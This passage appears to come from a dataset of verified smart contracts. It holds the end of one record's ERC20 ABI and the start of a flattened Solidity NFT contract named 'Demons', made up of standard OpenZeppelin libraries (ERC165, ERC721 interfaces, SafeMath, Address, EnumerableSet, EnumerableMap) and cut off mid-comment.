ue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://8f114c4df36fdecfb1bc05403d982a83d5bffb332b4368d519572bb8685ab3fe |
|||
Demons | 0x6ac645fda81299c8eb0da31fc773953752112e82 | Solidity | // Sources flattened with hardhat v2.2.0 https://hardhat.org
// File @openzeppelin/contracts/introspection/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/introspection/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
